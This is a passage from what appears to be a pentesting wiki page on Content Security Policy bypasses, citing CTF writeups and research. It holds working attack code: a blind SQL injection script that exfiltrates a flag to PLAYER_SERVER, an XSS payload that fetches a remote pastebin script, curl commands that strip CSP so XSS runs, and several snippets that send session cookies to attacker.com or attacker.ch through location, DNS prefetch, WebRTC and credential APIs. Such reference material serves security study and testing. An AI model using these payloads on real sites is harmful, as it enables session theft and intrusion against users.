     x = escape(x.replace(/_/g, "\\_"))
     return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
   }
 
   function gen2(x) {
     x = escape(x)
     return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
   }
 
   async function query(word, end = false) {
     let h = performance.now()
     f.location = end ? gen2(word) : gen(word)
     await new Promise((r) => {
       g.onload = r
     })
     let diff = performance.now() - h
     return diff > 300
   }
 
   let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
   let postfix = "}"
 
   async function run() {
     let prefix = "nn9ed{"
     while (true) {
       let i = 0
       for (i; i < alphabet.length; i++) {
         let c = alphabet[i]
         let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
         console.log(prefix, c, t)
         if (t) {
           console.log("FOUND!")
           prefix += c
           break
         }
       }
       if (i == alphabet.length) {
         console.log("missing chars")
         break
       }
       let t = await query(prefix + "}", true)
       if (t) {
         prefix += "}"
         break
       }
     }
     new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
     console.log(prefix)
   }
 
   run()
 </script>
 ```
 
 ### Via Bookmarklets
 
 This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens.
 
 For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).<sup>[[22]](#references)</sup>
 
 ### CSP bypass by restricting CSP
 
 In [**this CTF writeup**](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.<sup>[[23]](#references)</sup>
 
 You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
 
 ```html
 <iframe
   src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
   csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
 
 In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**<sup>[[24]](#references)</sup>\
 CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:
 
 ```html
 <meta
   http-equiv="Content-Security-Policy"
   content="script-src 'self'
 'unsafe-eval' 'strict-dynamic'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
 
 ### JS exfiltration with Content-Security-Policy-Report-Only
 
 If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`<script>`** and because highly probable `unsafe-inline` isn't allowed by the CSP, this will **trigger a CSP error** and part of the script (containing the sensitive info) will be sent to the server from `Content-Security-Policy-Report-Only`.
 
 For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).<sup>[[25]](#references)</sup>
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 
 ```javascript
 document.querySelector("DIV").innerHTML =
   '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 ```
 
 ### Leaking Information with CSP and Iframe
 
 - An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP.
 - This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
 - By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
 
 It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.
 
 Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:
 
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
 
 By monitoring which requests are blocked or allowed by the CSP, one can narrow down the possible characters in the secret subdomain, eventually uncovering the full URL.
 
 Both methods exploit the nuances of CSP implementation and behavior in browsers, demonstrating how seemingly secure policies can inadvertently leak sensitive information.
 
 Trick from [**here**](https://ctftime.org/writeup/29310).<sup>[[26]](#references)</sup>
 
 ## Unsafe Technologies to Bypass CSP
 
 ### PHP Errors when too many params
 
 According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.<sup>[[27]](#references)</sup>
 
 ### PHP response buffer overload
 
 PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
 Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
 
 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).<sup>[[28]](#references)</sup>
 
 ### Kill CSP via max_input_vars (headers already sent)
 
 Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.<sup>[[29]](#references)</sup>
 
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
 echo $_GET['xss'];
 ```
 
 Example:
 ```bash
 # CSP in place → payload blocked by browser
 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
 
 # Exceed max_input_vars to force warnings before header() → CSP stripped
 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
 # Warning: PHP Request Startup: Input variables exceeded 1000 ...
 # Warning: Cannot modify header information - headers already sent
 ```
 
 ### Rewrite Error Page
 
 From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.<sup>[[30]](#references)</sup><sup>[[34]](#references)</sup>
 
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
   a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
 }, 1000)
 ```
 
 ### SOME + 'self' + wordpress
 
 SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check:
 
 
 [Some Same Origin Method Execution](/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution)
 
 Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
 
 An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
 For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)<sup>[[31]](#references)</sup>
 
 ## CSP Exfiltration Bypasses
 
 If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.<sup>[[32]](#references)</sup>
 
 ### Location
 
 You could just update the location to send to the attacker's server the secret information:
 
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
 ```
 
 ### Meta tag
 
 You could redirect by injecting a meta tag (this is just a redirect, this won't leak content)
 
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 
 ### DNS Prefetch
 
 To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\
 You can indicate a browser to pre-resolve a hostname with: `<link rel="dns-prefetch" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/something.com">`
 
 You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**:
 
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 var body = document.getElementsByTagName("body")[0]
 body.innerHTML =
   body.innerHTML +
   '<link rel="dns-prefetch" href="//' +
   sessionid +
   'attacker.ch">'
 ```
 
 Another way:
 
 ```javascript
 const linkEl = document.createElement("link")
 linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
 
 In order to avoid this from happening the server can send the HTTP header:
 
 ```text
 X-DNS-Prefetch-Control: off
 ```
 
 > [!TIP]
 > Apparently, this technique doesn't work in headless browsers (bots)
 
 ### WebRTC
 
 On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
 
 Actually you can _leak_ informations using a _DNS request_. Check out this code:
 
 ```javascript
 ;(async () => {
   p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
   p.createDataChannel("")
   p.setLocalDescription(await p.createOffer())
 })()
 ```
 
 Another option:
 
 ```javascript
 var pc = new RTCPeerConnection({
   "iceServers":[
       {"urls":[
         "turn:74.125.140.127:19305?transport=udp"
        ],"username":"_all_your_data_belongs_to_us",
       "credential":"."
     }]
 });
 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
 
 ### CredentialsContainer
 
 The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
 
 ```javascript
 navigator.credentials.store(
   new FederatedCredential({
     id:"satoki", 
     name:"satoki", 
     provider:"https:"+your_data+"example.com", 
     iconURL:"https:"+your_data+"example.com"
     })
   )
 ```
 
 
 ## Checking CSP Policies Online
 
 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
 
 ## Automatically creating CSP
 
 The csper.io documentation describes generating a candidate policy from observed resources. A separate video walkthrough is available in reference 33.<sup>[[33]](#references)</sup>
 
 - [csper.io: Generating a Content Security Policy](https://csper.io/docs/generating-content-security-policy)
 
 ## References
 
 - [1] [CSP – The How and Why of a Content Security Policy (HackDefense)](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
 - [2] [CSP Cheat Sheet – allowed data scheme (0xn3va)](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
 - [3] [CSP bypass on portswigger.net using Google script resources (joaxcar.com)](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)
 - [4] [Content Security Policy (CSP) Bypass Techniques (bhavesh-thakur)](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
 - [5] [Stealing Passwords from Infosec Mastodon Without Bypassing CSP (PortSwigger Research)](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)
 - [6] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp)
 - [7] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy)
 - [8] [AngularJS CSP bypass via cdnjs (blog.huli.tw)](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)
 - [9] [Google zer0pts / ImaginaryCTF 2023 writeup – reCAPTCHA CSP bypass](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)
 - [10] [Bug bounty: how I made $50,000 from Google (landh.tech)](https://www.landh.tech/blog/20240304-google-hack-50000/)
 - [11] [Google Bard data exfiltration via Apps Script (embracethered.com)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)
 - [12] [Weaponized Google OAuth triggers malicious WebSocket (cside.dev)](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
 - [13] [Dress Code: The Talk – third-party domain abuse (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)
 - [14] [Exfiltrating users' private data using Google Analytics to bypass CSP (HUMAN Security)](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)
 - [15] [CSP bypass via Google Tag Manager (deteact.com)](https://blog.deteact.com/csp-bypass/)
 - [16] [Beyond XSS – Chapter 2: CSP Bypass (aszx87410)](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
 - [17] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53 XSSChallengeWiki)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)
 - [18] [CSP Level 2 spec – Paths and Redirects (W3C)](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)
 - [19] [x-oracle CTF writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 - [20] [Hiding JavaScript inside PNG files to bypass CSP (secjuice.com)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 - [21] [Bypassing CSP with Policy Injection (PortSwigger Research)](https://portswigger.net/research/bypassing-csp-with-policy-injection)
 - [22] [CSP bypass unveiled: the hidden threat of bookmarklets (socradar.io)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)
 - [23] [Google CTF 2023 – Web Biohazard solution (GitHub)](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution)
 - [24] [CTF writeups – Issue 48: restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48)
 - [25] [TSJ CTF 2022 – Nim Notes challenge (maple3142)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)
 - [26] [CTFtime writeup 29310](https://ctftime.org/writeup/29310)
 - [27] [PHP header() bypass via too many parameters (YouTube talk)](https://www.youtube.com/watch?v=Sm4G6cAHjWM)
 - [28] [justCTF 2020 writeup – Baby CSP (hackmd.io)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)
 - [29] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 - [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69)
 - [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 - [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/)
 - [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
 - [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
 - [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/)
 - [36] [cure53/XSSChallengeWiki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it)